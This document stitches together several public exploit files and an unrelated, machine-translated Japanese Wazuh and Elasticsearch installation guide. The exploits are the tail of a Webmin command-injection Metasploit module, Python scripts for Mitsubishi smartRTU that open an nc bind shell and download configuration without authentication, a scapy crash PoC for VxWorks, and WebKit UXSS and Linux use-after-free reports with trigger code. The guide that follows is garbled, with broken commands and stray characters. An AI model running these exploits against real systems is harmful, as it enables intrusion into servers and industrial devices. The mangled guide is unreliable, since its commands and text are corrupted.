'data' => "user=root&pam=&expired=2&old=AkkuS%7cdir%20&new1=akkuss&new2=akkuss"
})
if res && res.code == 200 && res.body =~ /password_change.cgi/
return CheckCode::Vulnerable
else
return CheckCode::Safe
end
else
return CheckCode::Safe
end
end
##
# Exploiting phase
##
def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
command = payload.encoded
print_status("Attempting to execute the payload...")
handler
res = send_request_cgi(
{
'method' => 'POST',
'cookie' => "redirect=1; testing=1; sid=x; sessiontest=1",
'ctype' => 'application/x-www-form-urlencoded',
'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),
'headers' =>
{
'Referer' => "#{peer}/session_login.cgi"
},
'data' => "user=root&pam=&expired=2&old=AkkuS%7c#{command}%20&new1=akkuss&new2=akkuss"
})
end
end
#!/usr/bin/python
# Exploit Title: Mitsubishi Electric smartRTU & INEA ME-RTU Unauthenticated OS Command Injection
# Date: 29 June 2019
# Exploit Author: (@xerubus | mogozobo.com)
# Vendor Homepage: https://eu3a.mitsubishielectric.com/fa/en/products/cnt/plcccl/items/smartRTU/local
# Vendor Homepage: http://www.inea.si/en/telemetrija-in-m2m-produkti/mertu-en/
# Firmware Version: Misubishi Electric 2.02 & INEA 3.0
# CVE-ID: CVE-2019-14931
# Full write-up: https://www.mogozobo.com/?p=3593
import sys, os, requests, socket
os.system('clear')
print("""\
_ _
___ (~ )( ~)
/ \_\ \/ /
| D_ ]\ \/ -= Bind_Me-smartRTU by @xerubus =-
| D _]/\ \ -= We all have something to hide =-
\___/ / /\ \\
(_ )( _)
@Xerubus
""")
host = raw_input("Enter RTU IP address: ")
port = raw_input("Enter bind shell port number: ")
php_page = '/action.php'
url = "http://{}{}".format(host, php_page)
payload = {'host' : ';sudo /usr/sbin/service ../../bin/nc -nvlp '+port+' -e /bin/sh&PingCheck=Test'}
print "\n[+] Building payload"
print "[+] Sending payload"
print "[+] Attempting connection to smartRTU"
try:
r = requests.post(url, data=payload, timeout=1)
except:
pass
port = (int(port))
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
try :
print "[+] Connected to the smartRTU!\n"
while 1:
cmd = raw_input("(smartRTU-shell) # ");
s.send(cmd + "\n");
result = s.recv(1024).strip();
if not len(result) :
print "\n[!] Play nice now skiddies....\n\n"
s.close();
break;
print(result);
except KeyboardInterrupt:
print "\n[+] ^C Received, closing connection"
s.close();
except EOFError:
print "\n[+] ^D Received, closing connection"
s.close();
except socket.error:
print "[!] Failed to connect to bind shell."
#!/usr/bin/python
# Exploit Title: Mitsubishi Electric smartRTU & INEA ME-RTU Unauthenticated Configuration Download
# Date: 29 June 2019
# Exploit Author: (@xerubus | mogozobo.com)
# Vendor Homepage: https://eu3a.mitsubishielectric.com/fa/en/products/cnt/plcccl/items/smartRTU/local
# Vendor Homepage: http://www.inea.si/en/telemetrija-in-m2m-produkti/mertu-en/
# Firmware Version: Misubishi Electric 2.02 & INEA 3.0
# CVE-ID: CVE-2019-14927
# Full write-up: https://www.mogozobo.com/?p=3593
import sys, os, requests, socket
os.system('clear')
print("""\
_ _
___ (~ )( ~)
/ \_\ \/ /
| D_ ]\ \/ -= Conf_Me-smartRTU by @xerubus =-
| D _]/\ \ -= We all have something to hide =-
\___/ / /\ \\
(_ )( _)
@Xerubus
""")
host = raw_input("Enter RTU IP address: ")
php_page = '/saveSettings.php'
url = "http://{}{}".format(host, php_page)
print "[+] Attempting to download smartRTU configuration file"
r = requests.get(url)
if r.status_code == 200:
print "[+] Successfully obtained smartRTU configuration file.. saving to smartRTU_conf.xml\n"
with open('smartRTU_conf.xml', 'w') as f:
f.write(r.content)
# Exploit Title: VxWorks TCP Urgent pointer = 0 integer underflow vulnerability
# Discovered By: Armis Security
# PoC Author: Zhou Yu (twitter: @504137480)
# Vendor Homepage: https://www.windriver.com
# Tested on: VxWorks 6.8
# CVE: CVE-2019-12255
# More Details: https://github.com/dazhouzhou/vxworks-poc/tree/master/CVE-2019-12255
# The PoC can crash VxWorks tasks(set the port corresponding to the task in the PoC), such as telnet, ftp, etc.
from scapy.all import *
if __name__ == "__main__":
ip = "192.168.10.199"
dport = 23
seq_num = 1000
payload = "\x42"*2000
sport = random.randint(1024,65535)
syn = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "S", seq=seq_num)
syn_ack = sr1(syn)
seq_num = seq_num + 1
ack_num = syn_ack.seq+1
ack = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "A", seq=seq_num, ack=ack_num)
send(ack)
psh = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "PAU", seq=seq_num, ack=ack_num, urgptr=0) / payload
send(psh)
VULNERABILITY DETAILS
https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/xml/XSLTProcessor.cpp#L66
```
Ref<Document> XSLTProcessor::createDocumentFromSource(const String& sourceString,
const String& sourceEncoding, const String& sourceMIMEType, Node* sourceNode, Frame* frame)
{
Ref<Document> ownerDocument(sourceNode->document());
bool sourceIsDocument = (sourceNode == &ownerDocument.get());
String documentSource = sourceString;
RefPtr<Document> result;
if (sourceMIMEType == "text/plain") {
result = XMLDocument::createXHTML(frame, sourceIsDocument ? ownerDocument->url() : URL());
transformTextStringToXHTMLDocumentString(documentSource);
} else
result = DOMImplementation::createDocument(sourceMIMEType, frame, sourceIsDocument ? ownerDocument->url() : URL());
// Before parsing, we need to save & detach the old document and get the new document
// in place. We have to do this only if we're rendering the result document.
if (frame) {
[...]
frame->setDocument(result.copyRef());
}
auto decoder = TextResourceDecoder::create(sourceMIMEType);
decoder->setEncoding(sourceEncoding.isEmpty() ? UTF8Encoding() : TextEncoding(sourceEncoding), TextResourceDecoder::EncodingFromXMLHeader);
result->setDecoder(WTFMove(decoder));
result->setContent(documentSource);
```
https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/page/Frame.cpp#L248
```
void Frame::setDocument(RefPtr<Document>&& newDocument)
{
ASSERT(!newDocument || newDocument->frame() == this);
if (m_documentIsBeingReplaced) // ***1***
return;
m_documentIsBeingReplaced = true;
[...]
if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
m_doc->prepareForDestruction(); // ***2***
m_doc = newDocument.copyRef();
```
`setDocument` calls `Document::prepareForDestruction`, which might trigger JavaScript execution via
a nested frame's "unload" event handler. Therefore the `m_documentIsBeingReplaced` flag has been
introduced to avoid reentrant calls. The problem is that by the time `setDocument` is called,
`newDocument` might already have a reference to a `Frame` object, and if the method returns early,
that reference will never get cleared by subsequent navigations. It's not possible to trigger
document replacement inside `setDocument` via a regular navigation request or a 'javascript:' URI
load; however, an attacker can use an XSLT transformation for that.
When the attacker has an extra document attached to a frame, they can navigate the frame to a
cross-origin page and issue a form submission request to a 'javascript:' URI using the extra
document to trigger UXSS.
VERSION
WebKit revision 245321.
It should affect the stable branch as well, but the test case crashes Safari 12.1.1 (14607.2.6.1.1).
REPRODUCION CASE
repro.html:
```
<body>
<script>
createFrame = doc => doc.body.appendChild(document.createElement('iframe'));
pi = document.createProcessingInstruction('xml-stylesheet',
'type="text/xml" href="stylesheet.xml"');
cache_frame = createFrame(document);
cache_frame.contentDocument.appendChild(pi);
setTimeout(() => {
victim_frame = createFrame(document);
child_frame_1 = createFrame(victim_frame.contentDocument);
child_frame_1.contentWindow.onunload = () => {
victim_frame.src = 'javascript:""';
try {
victim_frame.contentDocument.appendChild(document.createElement('html')).
appendChild(document.createElement('body'));
} catch { }
child_frame_2 = createFrame(victim_frame.contentDocument);
child_frame_2.contentWindow.onunload = () => {
doc = victim_frame.contentDocument;
doc.write('foo');
doc.firstChild.remove();
doc.appendChild(pi);
doc.appendChild(doc.createElement('root'));
doc.close();
}
}
victim_frame.src = 'javascript:""';
if (child_frame_1.xslt_script_run) {
victim_frame.src = 'http://example.com/';
victim_frame.onload = () => {
form = corrupted_doc.createElement('form');
form.action = 'javascript:alert(document.body.innerHTML)';
form.submit();
}
}
}, 2000);
</script>
</body>
```
stylesheet.xml:
```
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<script>
<![CDATA[
document.body.lastChild.xslt_script_run = true;
]]>
</script>
<iframe src="javascript:top.corrupted_doc = frameElement.ownerDocument; frameElement.remove();"></iframe>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
```
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
/*
On NUMA systems, the Linux fair scheduler tracks information related to NUMA
faults in task_struct::numa_faults and task_struct::numa_group. Both of these
have broken object lifetimes.
Since commit 82727018b0d3 ("sched/numa: Call task_numa_free() from do_execve()",
first in v3.13), ->numa_faults is freed not only when the last reference to the
task_struct is gone, but also after successful execve(). However,
show_numa_stats() (reachable through /proc/$pid/sched) locklessly reads data
from ->numa_faults (use-after-free read) and prints it to a userspace buffer.
To test this, I used a QEMU VM with the following NUMA configuration:
-m 8192 -smp cores=4 -numa node,nodeid=0 -numa node,nodeid=1
Test code is attached; it takes a while before it triggers the bug since the
race window is pretty small.
KASAN report:
============================
[ 909.461282] ==================================================================
[ 909.464502] BUG: KASAN: use-after-free in show_numa_stats+0x99/0x160
[ 909.465250] Read of size 8 at addr ffff8880ac8f8f00 by task numa_uaf/18471
[ 909.466167] CPU: 0 PID: 18471 Comm: numa_uaf Not tainted 5.2.0-rc7 #443
[ 909.466877] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014
[ 909.467751] Call Trace:
[ 909.468072] dump_stack+0x7c/0xbb
[ 909.468413] ? show_numa_stats+0x99/0x160
[ 909.468879] print_address_description+0x6e/0x2a0
[ 909.469419] ? show_numa_stats+0x99/0x160
[ 909.469828] ? show_numa_stats+0x99/0x160
[ 909.470292] __kasan_report+0x149/0x18d
[ 909.470683] ? show_numa_stats+0x99/0x160
[ 909.471137] kasan_report+0xe/0x20
[ 909.471533] show_numa_stats+0x99/0x160
[ 909.471988] proc_sched_show_task+0x6ae/0x1e60
[ 909.472467] sched_show+0x6a/0xa0
[ 909.472836] seq_read+0x197/0x690
[ 909.473264] vfs_read+0xb2/0x1b0
[ 909.473616] ksys_pread64+0x74/0x90
[ 909.474034] do_syscall_64+0x5d/0x260
[ 909.474975] entry_SYSCALL_64_after_hwframe+0x49/0xbe
[ 909.475512] RIP: 0033:0x7f6f57742987
[ 909.475878] Code: 35 39 a4 09 00 48 8d 3d d1 a4 09 00 e8 52 77 f4 ff 66 90 48 8d 05 79 7d 0d 00 49 89 ca 8b 00 85 c0 75 10 b8 11 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 59 c3 41 55 49 89 cd 41 54 49 89 d4 55 48 89
[ 909.477905] RSP: 002b:00005565fc10d108 EFLAGS: 00000246 ORIG_RAX: 0000000000000011
[ 909.478684] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f6f57742987
[ 909.479393] RDX: 0000000000001000 RSI: 00005565fc10d120 RDI: 0000000000000005
[ 909.480254] RBP: 00005565fc10e130 R08: 00007f6f57657740 R09: 00007f6f57657740
[ 909.481037] R10: 0000000000000000 R11: 0000000000000246 R12: 00005565fbf0b1f0
[ 909.481821] R13: 00007ffe60338770 R14: 0000000000000000 R15: 0000000000000000
[ 909.482744] Allocated by task 18469:
[ 909.483135] save_stack+0x19/0x80
[ 909.483475] __kasan_kmalloc.constprop.3+0xa0/0xd0
[ 909.483957] task_numa_fault+0xff2/0x1d30
[ 909.484414] __handle_mm_fault+0x94f/0x1320
[ 909.484887] handle_mm_fault+0x7e/0x100
[ 909.485323] __do_page_fault+0x2bb/0x610
[ 909.485722] async_page_fault+0x1e/0x30
[ 909.486355] Freed by task 18469:
[ 909.486687] save_stack+0x19/0x80
[ 909.487027] __kasan_slab_free+0x12e/0x180
[ 909.487497] kfree+0xd8/0x290
[ 909.487805] __do_execve_file.isra.41+0xf1e/0x1140
[ 909.488316] __x64_sys_execve+0x4f/0x60
[ 909.488706] do_syscall_64+0x5d/0x260
[ 909.489144] entry_SYSCALL_64_after_hwframe+0x49/0xbe
[ 909.490121] The buggy address belongs to the object at ffff8880ac8f8f00
which belongs to the cache kmalloc-128 of size 128
[ 909.491564] The buggy address is located 0 bytes inside of
128-byte region [ffff8880ac8f8f00, ffff8880ac8f8f80)
[ 909.492919] The buggy address belongs to the page:
[ 909.493445] page:ffffea0002b23e00 refcount:1 mapcount:0 mapping:ffff8880b7003500 index:0xffff8880ac8f8d80
[ 909.494419] flags: 0x1fffc0000000200(slab)
[ 909.494836] raw: 01fffc0000000200 ffffea0002cec780 0000000900000009 ffff8880b7003500
[ 909.495633] raw: ffff8880ac8f8d80 0000000080150011 00000001ffffffff 0000000000000000
[ 909.496451] page dumped because: kasan: bad access detected
[ 909.497291] Memory state around the buggy address:
[ 909.497775] ffff8880ac8f8e00: fc fc fc fc fc fc fc fc fb fb fb fb fb fb fb fb
[ 909.498546] ffff8880ac8f8e80: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
[ 909.499319] >ffff8880ac8f8f00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 909.500034] ^
[ 909.500429] ffff8880ac8f8f80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 909.501150] ffff8880ac8f9000: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
[ 909.501942] ==================================================================
[ 909.502712] Disabling lock debugging due to kernel taint
============================
->numa_group is a refcounted reference with RCU semantics, but the RCU helpers
are used inconsistently. In particular, show_numa_stats() reads from
p->numa_group->faults with no protection against concurrent updates.
There are also various other places across the scheduler that use ->numa_group
without proper protection; e.g. as far as I can tell,
sched_tick_remote()->task_tick_fair()->task_tick_numa()->task_scan_start()
reads from p->numa_group protected only by the implicit read-side critical
section that spinlocks currently imply by disabling preemption, and with no
protection against the pointer unexpectedly becoming NULL.
I am going to send suggested fixes in a minute, but I think the approach for
->numa_group might be a bit controversial. The approach I'm taking is:
- For ->numa_faults, just wipe the statistics instead of freeing them.
- For ->numa_group, use proper RCU accessors everywhere.
Annoyingly, if one of the RCU accessors detects a problem (with
CONFIG_PROVE_LOCKING=y), it uses printk, and if the wrong runqueue lock is held
at that point, a deadlock might happen, which isn't great. To avoid that, the
second patch adds an ugly hack in printk that detects potential runqueue
deadlocks if lockdep is on. I'm not sure how you all are going to feel about
that one - maybe it's better to just leave it out, or do something different
there? I don't know...
I'm sending the suggested patches off-list for now; if you want me to resend
them publicly, just say so.
*/
#define _GNU_SOURCE
#include <errno.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <numaif.h>
#include <sched.h>
#include <err.h>
#include <time.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/uio.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
int sched_fd;
int get_scan_seq(void) {
char buf[0x1000];
ssize_t buflen = pread(sched_fd, buf, sizeof(buf)-1, 0);
if (buflen == -1) err(1, "read sched");
buf[buflen] = '\0';
char *p = strstr(buf, "numa_scan_seq");
if (!p) errx(1, "no numa_scan_seq");
*strchrnul(p, '\n') = '\0';
p = strpbrk(p, "0123456789");
if (!p) errx(1, "no numa_scan_seq");
return atoi(p);
}
void reexec(char *arg0) {
char *argv[] = {arg0, NULL};
execvp("/proc/self/exe", argv);
err(1, "reexec");
}
volatile int uaf_child_ready = 0;
static int sfd_uaf(void *fd_) {
int fd = (int)(long)fd_;
/*
prctl(PR_SET_PDEATHSIG, SIGKILL);
if (getppid() == 1) raise(SIGKILL);
*/
while (1) {
char buf[0x1000];
ssize_t res = pread(fd, buf, sizeof(buf)-1, 0);
if (res == -1) {
if (errno == ESRCH) _exit(0);
err(1, "pread");
}
buf[res] = '\0';
puts(buf);
uaf_child_ready = 1;
}
}
int main(int argc, char **argv) {
if (strcmp(argv[0], "die") == 0) {
_exit(0);
}
sched_fd = open("/proc/self/sched", O_RDONLY|O_CLOEXEC);
if (sched_fd == -1) err(1, "open sched");
// allocate two pages at the lowest possible virtual address so that the first periodic memory fault is scheduled on the first page
char *page = mmap((void*)0x1000, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
if (page == MAP_FAILED) err(1, "mmap");
*page = 'a';
// handle the second page with uffd
int ufd = syscall(__NR_userfaultfd, 0);
if (ufd == -1) err(1, "userfaultfd");
struct uffdio_api api = { .api = UFFD_API, .features = 0 };
if (ioctl(ufd, UFFDIO_API, &api)) err(1, "uffdio_api");
struct uffdio_register reg = {
.mode = UFFDIO_REGISTER_MODE_MISSING,
.range = { .start = (__u64)page+0x1000, .len = 0x1000 }
};
if (ioctl(ufd, UFFDIO_REGISTER, ®))
err(1, "uffdio_register");
// make sure that the page is on the CPU-less NUMA node
unsigned long old_nodes = 0x1;
unsigned long new_nodes = 0x2;
if (migrate_pages(0, sizeof(unsigned long), &old_nodes, &new_nodes)) err(1, "migrate_pages");
// trigger userfault in child
pid_t uffd_child = fork();
if (uffd_child == -1) err(1, "fork");
if (uffd_child == 0) {
prctl(PR_SET_PDEATHSIG, SIGKILL);
struct iovec iov = { .iov_base = (void*)0x1fff, .iov_len = 2 };
process_vm_readv(getppid(), &iov, 1, &iov, 1, 0);
err(1, "process_vm_readv returned");
}
sleep(1);
int ini_seq = get_scan_seq();
printf("initial scan_seq: %d\n", ini_seq);
if (ini_seq) reexec("m");
// wait for a migration
time_t start_time = time(NULL);
while (1) {
if (time(NULL) > start_time + 30) {
puts("no migration detected!");
reexec("m");
}
int cur_seq = get_scan_seq();
if (cur_seq != 0) {
printf("new scan_seq: %d\n", cur_seq);
goto migration_done;
}
}
migration_done:
printf("migration done after %d seconds\n", (int)(time(NULL)-start_time));
while (1) {
pid_t pid = fork();
if (pid == -1) err(1, "fork");
if (pid == 0) {
static char uaf_stack[1024*1024];
static char uaf_stack2[1024*1024];
int sfd = open("/proc/self/sched", O_RDONLY);
if (sfd == -1) err(1, "open sched");
pid_t uaf_child = clone(sfd_uaf, uaf_stack+sizeof(uaf_stack), CLONE_FILES|CLONE_VM, (void*)(long)sfd);
if (uaf_child == -1) err(1, "clone uaf_child");
uaf_child = clone(sfd_uaf, uaf_stack2+sizeof(uaf_stack2), CLONE_FILES|CLONE_VM, (void*)(long)sfd);
if (uaf_child == -1) err(1, "clone uaf_child");
while (!uaf_child_ready) __builtin_ia32_pause();
*(volatile char *)page = 'b';
reexec("die");
}
int status;
if (wait(&status) != pid) err(1, "wait");
}
}
1。 Wazhu展開アーキテクチャ
1.サーバーで実行されているエージェントは、収集されたさまざまな情報を暗号化されたチャネルを介して管理端に送信します。
2。管理側は、エージェントから受信したデータを分析し、イベントがアラームルールと一致するときにアラームをトリガーする責任があります。
3.LogStashは、Alarmログまたは監視ログをElasticSearchに送信し、最終的にKibanaの視覚化を介してログを表示します。
分散展開:さまざまなホストでWazuhサーバーと弾性スタッククラスター(1つ以上のサーバー)を実行します。
単一のホストアーキテクチャ:同じホストでWazuhサーバーと弾性スタックを実行します。
2つの主な違いは、前者がFileBeatとLogstashを使用してログ伝送を必要とし、後者はログファイルをネイティブに直接読み取ることです。
図1:分散展開
図2:シングルホストアーキテクチャ
2。ソース構成を更新
ネットワーク速度が遅い場合は、国内のソフトウェアソースに変更できます。デフォルトでは使用しません。
Yum Repolist #View現在のソース
cp /etc/yum.repos.d/centos-base.repo /etc/yum.repos.d/centos-base.repo.bak #back #back up up up up up up
wget http://mirrors.aliyun.com/repo/centos-7.repo #download alibaba cloudos7ソース
wget http://mirrors.163.com/.help/centos7-base-163.Repo #Download 163 CENTOS7ソース
MVダウンロードしたソース/etc/yum.repos.d/centos-base.repo
Yum CleanすべてのYum Makecache #CleanとYumキャッシュを再構築する
タイムサーバー:
yum -y ntp ntpdate #install ntpをインストールし、ntpを更新します
ntpdate cn.ntp.org.cn #ntp設定
hwcrock-システム時間はハードウェアの時間を書きます
LN -SF/USR/SHARE/ZONEINFO/ASIA/SHANGHAI/etc/LocalTime#Linuxのタイムゾーンは上海タイムゾーンに設定されています
3。 Wazuh Manager
をインストールしますインストール環境はCENTOS7.1x64システムです
方法1:
cat /etc/yum.repos.d/wazuh.repo \ eof
[wazuh_repo]
gpgcheck=1
gpgkey=https://packages.wazuh.com/key/gpg-key-wazuh
有効=1
name=wazuhリポジトリ
baseurl=https://packages.wazuh.com/3.x/yum/
保護=1
EOF
Yum Install Wazuh-Manager
方法2:
[root@wazhu-manage〜]#cd /opt
[root@wazhu-manage opt]#wget https://packages.wazuh.com/3.x/yum/wazuh-manager-3.8.0-1.x86_64.rpm
[root@wazhu-manage opt]#chmod +x wazuh-manager-3.8.0-1.x86_64.rpm
[root@wazhu-manage opt]#rpm -ivh wazuh-manager-3.8.0-1.x86_64.rpm
[root@wazhu-manage opt] #systemctl status wazuh-manager.service
●Wazuh -Manager.Service -Wazuh Manager
Loaded: Loaded(/etc/systemd/system/wazuh-manager.service; enabled; vendor preset:無効)
Active: Active(running)2019-01-21 09:58336045 UTC; 34s前
process: 13789 execstart=/usr/bin/env $ {directory}/bin/ossec-control start(code=exited、status=0/success)
cgroup: /system.slice/wazuh-manager.service
├马云惹不起马云马云惹不起马云13819/var/ossec/bin/ossec-authd
├马云惹不起马云马云惹不起马云13823/var/ossec/bin/wazuh-db
and-13841/var/ossec/bin/ossec-execd
├马云惹不起马云马云惹不起马云13847/var/ossec/bin/ossec-analysisd
├马云惹不起马云马云惹不起马云13851/var/ossec/bin/ossec-syscheckd
├马云惹不起马云马云惹不起马云13859/var/ossec/bin/ossec連合
├马云惹不起马云马云惹不起马云13861/var/ossec/bin/ossec-logcollector
├马云惹不起马云马云惹不起马云13882/var/ossec/bin/ossec-monitord
└└。13886/var/ossec/bin/wazuh-modulesd
iv。 wazuh api
をインストールしますWazuh APIを実行するには、nodejs=4.6.1が必要です。 nodejsがインストールされていない場合、またはバージョンが4.6.1より低い場合は、次のように公式のnodejsリポジトリを追加することをお勧めします。
[root@wazhu-manage bin]#curl - silent - location https://rpm.nodesource.com/setup_8.x |バッシュ -
[root@wazhu-manage bin]#yumインストールnodejs.x86_64
[root@wazhu -manage bin] #node -v#またはyumインストールnodejs
v6.14
Wazuh APIを実行するには、python=2.7が必要です。デフォルトでインストールされているか、ほとんどのLinuxディストリビューションの公式リポジトリに含まれています。システム上のPythonバージョンが2.7未満であるかどうかを判断するには、次のコマンドを実行できます。
[root@wazhu-manage bin]#python -version#centos7デフォルトPython2
Python 2.7.5
[root@wazhu-manage bin]#cd /opt
[root@wazhu-manage opt]#wget https://packages.wazuh.com/3.x/yum/wazuh-api-3.8.0-1.x86_64.rpm
[root@wazhu-manage opt]#ls
wazuh-api-3.8.0-1.x86_64.rpmwazuh-manager-3.8.0-1.x86_64.rpm
[root@wazhu-manage opt]#chmod +x wazuh-api-3.8.0-1.x86_64.rpm
[root@wazhu-manage opt]#rpm -ivh wazuh-api-3.8.0-1.x86_64.rpm#またはyum install wazuh-api
[root@wazhu-manage opt] #systemctl start wazuh-api
[root@wazhu-manage opt] #systemctl status wazuh-api
●wazuh -api.service -wazuh api daemon
Loaded: Loaded(/etc/systemd/system/wazuh-api.service; enabled; vendor preset:無効)
Active: Active(running)2019-01-21 10:25336030 UTC; 33秒前
docs: https://documentation.wazuh.com/current/user-manual/api/index.html
メインPID: 15454(ノード)
cgroup: /system.slice/wazuh-api.service
and-15454/bin/node /var/ossec/api/app.js
1月21日10:25:30 WAZHU-MANAGE SYSTEMD [1] :はWazuh API Daemonを開始しました。
自動アップグレードを防ぐ:
#sed -i 's/^enabled=1/enabled=0/'/etc/yum.repos.d/wazuh.repo
v。 Wazuhエージェント
をインストールします1。Centosの下にAgent:1.1をインストールします。パッケージインストール[root@wazhu-manage opt]#ls
wazuh-api-3.8.0-1.x86_64.rpmwazuh-manager-3.8.0-1.x86_64.rpm
[root@wazhu-manage opt]#wget https://packages.wazuh.com/3.x/yum/wazuh-agent-3.8.0-1.x86_64.rpm
[root@wazhu-manage opt]#chmod +x wazuh-agent-3.8.0-1.x86_64.rpm
[root@wazhu-manage opt]#rpm -ivh wazuh-agent-3.8.0-1.x86_64.rpm
警告: wazuh-agent-3.8.0-1.x86_64.rpm:ヘッダーV4 RSA/SHA1署名、キーID 2911145: nokey
ERROR:失敗依存関係:
Wazuh-ManagerはWazuh-Agent-3.8.0-1.x86_64と競合します
Wazuh-Agentは(インストールされた)Wazuh-Manager-3.8.0-1.x86_64との競合です
#構成ファイルvim /var/ossec/etc/ossec.confを変更する#キー/var/ossec/bin/manage_agentsのインポート#service/var/ossec/bin/ossec-control Start
1.2。 Yumのインストール:cat /etc/yum.repos.d/wazuh.repo \ eof
[wazuh_repo]
gpgcheck=1
gpgkey=https://packages.wazuh.com/key/gpg-key-wazuh
有効=1
name=wazuhリポジトリ
baseurl=https://packages.wazuh.com/3.x/yum/
保護=1
EOF
[root@wazhu-manage opt]#yumインストールwazuh-agent
2。Ubuntuの下にAgent2.1をインストールします。 root@agent01:〜#cd /optをインストールします
root@agent01:/opt#wget https://packages.wazuh.com/3.x/apt/pool/main/w/wazuh-agent/wazuh-agent_3.8.0-1_amd64.deb
root@agent01:/opt#dpkg -i wazuh-agent_3.8.0-1_amd64.deb
以前に選択されていないパッケージWazuh-Agentを選択します。
(データベースの読み取り. 92845ファイルとディレクトリが現在インストールされています。)
wazuh-agent_3.8.0-1_amd64.debを開梱する準備.
Wazuh-Agentの開梱(3.8.0-1).
Wazuh-Agentのセットアップ(3.8.0-1).
SystemDのトリガーの処理(229-4ubuntu21.4).
尿素の処理トリガー(0.100.0-19).
2.2。 apt-getインストール#apt-get install curl apt-transport-https lsb-release #install install in spece
#curl -s https://packages.wazuh.com/key/gpg-key-wazuh | apt -key add- #installing wazuhリポジトリGPGキー
#echo'deb https://packages.wazuh.com/3.x/apt/stable main '| tee /etc/apt/sources.list.d/wazuh.list #Addリポジトリ
#apt-get update #updateパッケージ情報
#apt-get wazuh-agent #install wazuhエージェントをインストールします
#echo'wazuh-agent hold '| sudo dpkg - セット選択#disableアップデート
3. Agenthttps://Packages.wazuh.com/3.x/windows/wazuh-agent-3.8.0-1.msiをWindowsにインストールします
agent -auth.exe -m管理側IP -p '管理サイドパスワード
エージェント-Auth -M管理IP
vi。 弾性スタック
をインストールします1。弾性スタックランニング環境パッケージのインストールLogstashとElasticsearchにはOracle Java JRE 8が必要です
[root@wazhu-manage opt]#curl -lo jre-8-linux-x64.rpm - header 'cookie: oraclelicense=Accept-securebackup-cookie' 'https://Download.oracle.com/otn-pub/java/jdk/8u202-b08/1961070e4c9b4e26a04e7f5a083f551e/jre-8u202-linux-x64.rpm' '
[root@wazhu-manage opt] Echo 'Javaパッケージは正常にダウンロードしませんでした」
Javaパッケージは正常にダウンロードされました
[root@wazhu-manage opt]#yum -yインストールjre-8-linux-x64.rpm
[root@wazhu -manage opt]#java -version
Javaバージョン '1.8.0_202'
Elastic RepositoryとそのGPGキー:をインストールします
[root@wazhu-manage opt]#rpm -import https://packages.lastic.co/gpg-key-elasticsearch
[root@wazhu-manage opt]#cat /etc/yum.repos.d/elastic.repo eof
[Elasticsearch-6.x]
name=6.xパッケージのElasticsearchリポジトリ
baseurl=https://Artifacts.Elastic.co/packages/6.x/yum
gpgcheck=1
gpgkey=https://Artifacts.Elastic.co/gpg-key-elasticsearch
有効=1
AutoreFresh=1
type=rpm-md
EOF
[root@wazhu-manage opt]#cat /etc/yum.repos.d/elastic.repo
[Elasticsearch-6.x]
name=6.xパッケージのElasticsearchリポジトリ
baseurl=https://Artifacts.Elastic.co/packages/6.x/yum
gpgcheck=1
gpgkey=https://Artifacts.Elastic.co/gpg-key-elasticsearch
有効=1
AutoreFresh=1
type=rpm-md
2。ElasticSearch[root@wazhu-manage opt]#yumインストールElasticsearch-6.5.4
[root@wazhu-manage opt] #SystemCtl Daemon-Reload
[root@wazhu-manage opt]#systemctl enable elasticsearch.serviceを有効にします
/etc/systemd/system/multi-user.target.wants/elasticsearch.serviceからSymlinkから作成されたSymlinkは、/usr/lib/systemd/system/Elasticsearch.service。
[root@wazhu-manage opt] #SystemCtl Start ElasticSearch.Service
[root@wazhu-manage opt] #SystemCtl Status ElasticSearch.Service
ElasticSearch.Service -Elasticsearch
loaded: loaded(/usr/lib/systemd/system/elasticsearch.service; enabled; vendor preset: disabled)
Active: Active(running)2019-01-21 11:20:32 UTC; 12秒前
docs: http://www.elastic.co
メインPID: 16541(Java)
cgroup: /system.slice/elasticsearch.service
├马云惹不起马云马云惹不起马云16541 /bin /java -xms1g -xmx1g -xx:+useconcmarksweepgc -xx3360cmsinitia .
└└)/usr/share/elasticsearch/modules/x-pack-ml/platform/linux-x86 .
ElasticSearchサーバーがスタートアップを完了するのを待つことが非常に重要です。次のコマンドを使用して、現在のステータスを確認します。これにより、次のように応答が表示されます。
[root@wazhu-manage opt]#curl 'http://localhost:9200/?light'
{
「名前」: 'J2IH056'、
'cluster_name' : 'elasticsearch'、
'cluster_uuid' : 'ihtopid4sr-eoz5qx73-kw'、
'バージョン' : {
「番号」: '6.5.4'、
'build_flavor' : 'デフォルト'、
'build_type' : 'rpm'、
'build_hash' : 'd2ef93d'、
'build_date' : '2018-12-17T21:17336040.758843Z'、
'build_snapshot' : false、
'lucene_version' : '7.5.0'、
'Minimum_wire_compatibility_version' : '5.6.0'、
'Minimum_index_compatibility_version' : '5.0.0'
}、
「キャッチフレーズ」: 'あなたが知っている、検索のために'
}
